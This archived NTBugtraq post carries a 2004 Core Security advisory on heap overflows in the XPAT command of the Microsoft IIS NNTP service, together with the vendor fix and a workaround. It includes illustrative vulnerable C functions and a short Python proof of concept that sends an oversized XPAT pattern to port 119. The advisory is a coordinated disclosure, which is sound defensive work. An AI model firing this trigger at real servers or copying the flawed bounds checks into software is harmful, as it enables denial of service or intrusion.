Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security NTBugtraq
[Top] [All Lists]

CORE-2004-0802: IIS NNTP Service XPAT Command Vulnerabilities

Subject: CORE-2004-0802: IIS NNTP Service XPAT Command Vulnerabilities
Date: Tue, 12 Oct 2004 15:48:49 -0300
                Core Security Technologies Advisory
                    http://www.coresecurity.com

           IIS NNTP Service XPAT Command Vulnerabilities



Date Published: 2004-10-12

Last Update: 2004-10-12

Advisory ID: CORE-2004-0802

Bugtraq ID: Not assigned

CVE Name: CAN-2004-0574

Title: IIS NNTP Service XPAT Command Vulnerabilities

Class: Boundary error condition

Remotely Exploitable: Yes

Locally Exploitable: Yes

Advisory URL:
http://www.coresecurity.com/common/showdoc.php?idx=420&idxseccion=10

Vendors contacted:
- Microsoft
 . 2004-08-16 Core Security Technologies sent draft advisory to vendor
 . 2004-08-16 Microsoft MSRC acknowledgement received
 . 2004-10-12 Microsoft releases a fix (MS04-036)

Release Mode: COORDINATED RELEASE


*Vulnerability Description:*

Microsoft IIS provides organizations using it with the ability to
service and route news using the Network News Transfer Protocol (NNTP)
with the Microsoft NNTP service listening on port 119/tcp, and
optionally on port 563/tcp for SSL encrypted connections.

Multiple vulnerabilities were found in Microsoft IIS that could allow
an attacker to execute arbitrary commands on vulnerable systems
running the Microsoft IIS NNTP service.

The Network News Transfer Protocol (NNTP) is fully described in
RFC 977 [1]:
"NNTP specifies a protocol for the distribution, inquiry, retrieval,
and posting of news articles using a reliable stream-based
transmission of news among Not assignedthe ARPA-Internet community.
NNTP is designed so that news articles are stored in a central database
allowing a subscriber to select only those items he wishes to read.
Indexing, cross-referencing, and expiration of aged messages are also
provided".

*Vulnerable Packages:*

. Microsoft Windows NT Server 4.0 Service Pack 6a NNTP component
. Microsoft Windows 2000 Server Service Pack 3 NNTP component
 and Microsoft Windows 2000 Server Service Pack 4 NNTP component
. Microsoft Windows Server 2003 NNTP Component
. Microsoft Windows Server 2003 64-Bit Edition NNTP Component

*Solution/Vendor Information/Workaround:*

A fix for the vulnerabilities reported in this advisory is available
as a Microsoft Security update at:
http://www.microsoft.com/technet/security/bulletin/MS04-036.mspx

A workaround is to disable the NNTP service. This will prevent attackers
from exploiting the discovered vulnerabilities but will also make the
NNTP services unavailable for legitimate users.

*Credits:*

These vulnerabilities were found by Lucas Lavarello and Juliano Rizzo
from Core Security Technologies.

*Technical Description - Exploit/Concept Code:*

The Network News Transfer Protocol supports a number of different
extensions. Extensions are described in RFC 2980 [2].

This advisory is focused on the XPAT command.
"The XPAT command is used to retrieve specific headers from specific
articles, based on pattern matching on the contents of the header".

The syntax of the XPAT command is:
XPAT header range|<message-id> pat [pat...]

The XPAT command doesn't require previous user authentication and
hence we believe this should be considered a high risk vulnerability.

The vulnerabilities were found in the parser and query translator of
the XPAT command  within the Network News Transfer Protocol service.

The NNTP service translates calls to the XPAT command into an internal
query format. As stated in its calling syntax, it accepts multiple
patterns. Patterns as well as other parameters are delimited by tab
and space characters.

The vulnerabilities found reside in the methods that take care of
parsing user-supplied ASCII values and append them translated to
2-byte characters, as part of an internal query buffer.

For better understanding, we have created example versions of the
vulnerable methods that contain vulnerabilities.
When compiled, these methods may not match  exactly their original
versions, but are meant to be taken as illustrative examples.

The NNTP service allocates a 4000 bytes buffer that it uses to store
the translated XPAT query to a 2-byte character format. It keeps track
of how many words are left in the buffer using a global counter
initially set to the value of '2000'. A pointer to the buffer as well
as a pointer to the counter are used in every call to the vulnerable
string-appending methods which take care of updating those values for
any future calls.

The methods differ if called for user-supplied pattern data or internal
query language keywords. In both cases, incorrect bounds checking is
performed, leading to off-by-two, off-by-four and heap overflow
vulnerabilities.

The following example demonstrates the miscalculations made in the
method used to append internal query language keywords to the global
destination buffer.

----------------------------------------------------------------------
// The wstringappendkeywords function.
//  input:
//    pdestbuf - a pointer to pointer to a wchar destination buffer
//    srcbuf - a pointer to a char source buffer
//    spaceleft - a pointer to an integer with the amount of bytes left
//
//  output:
//    pdestbuf - the pointer to pointer is updated to point after
//               the copied bytes
//    spaceleft - the integer is updated substracting the amount of
//                copied bytes.
//
//  returns:
//    1 on OK
//    0 on FAIL - if there isn't enough space in the destination buffer

int wstringappendkeyword (short **pdestbuf, char *srcbuf, unsigned int
*spaceleft)
{
unsigned int count = 0;
short *destbuf = *pdestbuf;

   if (srcbuf[count] != 0x00) {

       do {
           if (count > *spaceleft) {
               //...
               //not_enough_space handling code
               //...
               return 0;
           }

           destbuf[count] = (short)srcbuf[count];
           count++;

       } while(srcbuf[count] != 0x00);
   }

   *spaceleft -= count;
   *pdestbuf += count;

   return 1;
}
----------------------------------------------------------------------

As seen above, the function is checking 'count' to be only bigger than
the amount of words left in the destination buffer. In the case of
count being equal to the value pointed by the 'spaceleft' variable,
2 bytes would be written past the end of destbuf's buffer.

In its last iteration, the loop will check 'count' to be bigger than the
amount of words and fail, aborting the whole call to the command.

By passing a specific amount of bytes in the 'srcbuf' buffer, an
attacker could break free from the copyloop before the 'spaceleft'
check is done; decrementing the 'spaceleft' variable. Subtracting one
from zero causes an unsigned integer variable to wrap under to
0xFFFFFFFF, bypassing the existing defective bounds check. This way,
any further attempts to copy data into the internal query buffer using
this function will lead into a controllable heap overflow.

The only barrier for exploitation is that this function is only called
for appending hardcoded query language keywords to the buffer. This is
where the next vulnerable method takes place.

The rest of the vulnerabilities reside in the method used for translating
and appending user-supplied patterns. The situation is similar to
the one shown above except that the 'srcbuf' pointer holds data that is
100% controllable by an  attacker  and that it's called sequentially
for each supplied pattern.

You will also notice this procedure permits an attacker to overwrite
4 bytes past the end of 'destbuf' buffer introducing an off-by-four
vulnerability.

----------------------------------------------------------------------
// The wstringappendpatterns function.
//  input:
//    pdestbuf - a pointer to pointer to a wchar destination buffer
//    srcbuf - a pointer to a char source buffer
//    spaceleft - a pointer to an integer with the amount of bytes left
//
//  output:
//    pdestbuf - the pointer to pointer is updated to point after the
//               copied bytes
//    spaceleft - the integer is updated substracting the amount of
//                copied bytes.
//
//  returns:
//    1 on OK
//    0 on FAIL - if there isn't enough space in the destination buffer


int wstringappendpatterns (short **pdestbuf, char *srcbuf, unsigned int *spaceleft) { unsigned int count = 0; short *destbuf = *pdestbuf;

   while (srcbuf[count] != 0x00) {

       if (count > *spaceleft) {
           //...
           //not_enough_space handling code
           //...
           return 0;
       }


if (srcbuf[count] == '[') { destbuf[count] = (short)'|'; count++; destbuf[count] = (short)'[';

       } else {
           destbuf[count] = (short)srcbuf[count];
       }

       count++;
   }

   *spaceleft -= count;
   *pdestbuf += count;

   return 1;
}
----------------------------------------------------------------------

Once again, having decremented spaceleft 'count' times, an attacker
could make the value of the global remaining-words counter wrap under
to 0xFFFFFFFF or 0xFFFFFFFE. By crafting multiple patterns of a
specific length, an attacker could cause a controllable Heap overflow.

The following proof-of-concept code written in Python demostrates the
problems.

----------------------------------------------------------------------
#--
# IIS NNTP Service XPAT command heap overflow proof of concept
#
# Author:
#   Lucas Lavarello (lucas at coresecurity dot com)
#   Juliano Rizzo   (juliano at coresecurity dot com)
#
# Copyright (c) 2001-2004 CORE Security Technologies, CORE SDI Inc.
# All rights reserved.
#
# THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED
# WARRANTIES ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI Inc. BE LIABLE
# FOR ANY DIRECT,  INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR
# CONSEQUENTIAL DAMAGES RESULTING FROM THE USE OR MISUSE OF
# THIS SOFTWARE
#
# http://www.coresecurity.com
#--

from socket import *

host = "127.0.0.1"
pat = "C"*1946  + " " + "X"*10

newsgroup = "control.newgroup"

sock = socket(AF_INET, SOCK_STREAM)
sock.connect((host, 119))

print sock.recv(512)

sock.send("group %s\x0d\x0a" % newsgroup)

print sock.recv(512)

sock.send("xpat From 1-9 %s \x0d\x0a" % pat)
----------------------------------------------------------------------

*References*

[1] RFC 977: Network News Transfer Protocol
    http://www.faqs.org/rfcs/rfc977.html

[2] RFC 2980: Common NNTP Extensions
    http://www.faqs.org/rfcs/rfc2980.html

*About Core Security Technologies*

Core Security Technologies develops strategic security solutions for
Fortune 1000 corporations, government agencies and military
organizations. The company offers information security software and
services designed to assess risk and protect and manage information
assets.
Headquartered in Boston, MA, Core Security Technologies can be reached
at 617-399-6980 or on the Web at http://www.coresecurity.com.

To learn more about CORE IMPACT, the first comprehensive penetration
testing product, visit:
http://www.coresecurity.com/products/coreimpact

*DISCLAIMER:*

The contents of this advisory are copyright (c) 2004 CORE Security
Technologies and may be distributed freely provided that no fee is
charged for this distribution and proper credit is given.

$Id: iis-nntp-advisory.txt,v 1.7 2004/10/12 18:33:16 carlos Exp $

--
NTBugtraq Editor's Note:

Want to reply to the person who sent this message? This list is configured such 
that just hitting reply is going to result in the message coming to the list, 
not to the individual who sent the message. This was done to help reduce the 
number of Out of Office messages posters received. So if you want to send a 
reply just to the poster, you'll have to copy their email address out of the 
message and place it in your TO: field.
--

<Prev in Thread] Current Thread [Next in Thread>